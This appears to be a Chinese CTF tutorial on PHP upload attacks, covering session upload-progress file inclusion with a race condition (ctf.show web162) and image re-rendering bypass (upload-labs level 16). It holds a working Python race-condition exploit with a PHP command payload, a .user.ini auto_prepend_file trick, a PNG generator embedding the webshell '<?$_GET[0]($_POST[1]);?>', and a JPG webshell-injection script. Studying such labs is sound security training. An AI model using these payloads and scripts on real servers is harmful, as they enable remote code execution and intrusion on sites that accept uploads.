session文件包含以及条件竞争
条件:
- 知道session文件存储在哪里
一般的默认位置:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
####在没做过设置的情况下一般都是存储在/var/lib/php/session/sess_PHPSESSID,sess_有点类似于mysql里的数据表前缀,都是默认的,而PHPSESSID则是你上传的时候给命名的,例如:cookie: PHPSWSSID=123 - php.ini的设置
session.upload_progress.cleanup:
当上传完成以后,php会自动删除session里的内容,默认开启
####就是因为这个设置所以需要做条件竞争,在它执行前访问shell
session.upload_progress.enabled:
php能在文件上传时监控进度但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态,默认开启
session.auto_start:
如果开启这个选项,php在接收请求的时候就会自动初始化session,就不用去执行session_start()。默认关闭
session.use_strict_mode:
默认情况下,它的值为0,所以可以自定义PHPSESSID的值
利用:
- 原理:
session upload progress刚开始是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化session,php也会自动初始化session。又因为session.upload_progress.enabled:是默认开启的,所以这个特性也是打开的,所以可以通过这个特性来使目标的机子自动开启session
-
所以这里利用到了session.upload_progress.name:
session.upload_progress.name是打开的,他会将post传输的和session.upload_progress同名的post参数个拉取到session里变成类似于变量的东西
例如:PHP_SESSION_UPLOAD_PROGRESS是构造的恶意函数
post > PHP_SESSION_UPLOAD_PROGRESS=123
存储到session里就会变成$_SESSION["upload_progress_123"]
poc:这里以ctfshow的web入门web162题做讲解
首先传入.user.ini文件
GIF89a
auto_prepend_file=sess_ppp
条件竞争:在还未来得及删除的时候,访问它,提前执行命令
#可以这么理解,你要丢垃圾,已经丢出去了,但是在丢到垃圾桶里的这一小段时间,你又给接住了。条件竞争就是这么个原理,利用在电脑接到指令并且正要执行之前的那一小段延迟做动作
import requests
import multiprocessing as mul
import os
os.environ['http_proxy'] = "127.0.0.1:8080"
os.environ['https_proxy'] = "127.0.0.1:8080"session = requests.session()
url = 'http://9182f212-3c46-4f1f-abc0-5d5c2847f96b.challenge.ctf.show/'
url1 = 'http://9182f212-3c46-4f1f-abc0-5d5c2847f96b.challenge.ctf.show/upload'
# 访问此目录会自动访问此目录的index.php,因为上传了.user.ini文件,所以会自动加载上传的shell
data = {'PHP_SESSION_UPLOAD_PROGRESS': '<?php `cat ../flag.php`?>'
}
file = {'file': '123'
}
cookies = {'PHPSESSID': 'ppp'
}def write():while True:r = session.post(url, data, files=file, cookies=cookies)def read():while True:r = session.get(url1)if 'ctfshow' in r.text:print(r.text)def main():threads = [mul.Process(target=write), mul.Process(target=read)]for i in threads:i.start()if __name__ == '__main__':main()
图片文件渲染绕过
这里需要用到工具
010EditorPortable.exe
二次渲染原理:
在我们上传的图片的基础上修改格式内容尺寸之类的,并且会对部分内容进行更新替换,最后将处理过后的图片生成一个新的保存在指定的位置
两种方式绕过这种过滤:
- 通过条件竞争来绕过:
当上传以后它的处理顺序是,先保存到服务器>在处理图片>在删除图片
就可以通过条件竞争绕过,在他删除之前提前访问执行- 将木马插入在图片渲染后依旧不会更改的地方,再配合文件包含漏洞执行命令
判断是否存在渲染的情况
对比图片上传前后的大小,如果存在差异则是存在渲染的情况
这个拿upload-labs的第16关来讲解
这里还是先看看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];$target_path=UPLOAD_PATH.basename($filename);// 获得上传文件的扩展名$fileext= substr(strrchr($filename,"."),1);//判断文件后缀与类型,合法才进行上传操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromjpeg($target_path);if($im == false){$msg = "该文件不是jpg格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".jpg";$newimagepath = UPLOAD_PATH.$newfilename;imagejpeg($im,$newimagepath);//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.$newfilename;@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefrompng($target_path);if($im == false){$msg = "该文件不是png格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".png";$newimagepath = UPLOAD_PATH.$newfilename;imagepng($im,$newimagepath);//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.$newfilename;@unlink($target_path);$is_upload = true; }} else {$msg = "上传出错!";}}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromgif($target_path);if($im == false){$msg = "该文件不是gif格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".gif";$newimagepath = UPLOAD_PATH.$newfilename;imagegif($im,$newimagepath);//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.$newfilename;@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else{$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";}
}
gif
原理:
将gif图片上传,然后再下载下来对比前后差异,看那一部分被修改过,然后再未被修改的地方添加木马
随机上传一个jif文件
将他下载下来使用010EditorPortable将他和没上传的进行对比
点击红色的差异就会把修改过的范围高光显示出来
再利用文件包含即可绕过
png
png图片就复杂一点,大致原理就是,再png图片特定位置添加webshell,会导致src值改变,网站会验证src值所以这里需要利用到国外大佬写的脚本
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'./1.png'); # 图片位置
?>
这里在里面添加的webshell是
<?$_GET[0]($_POST[1]);?>
jpg
jpg图片也是差不多的原理
####jpg图片选图比较重要,容易损坏
<?php$miniPayload = "<?=phpinfo();?>"; # webshellif(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>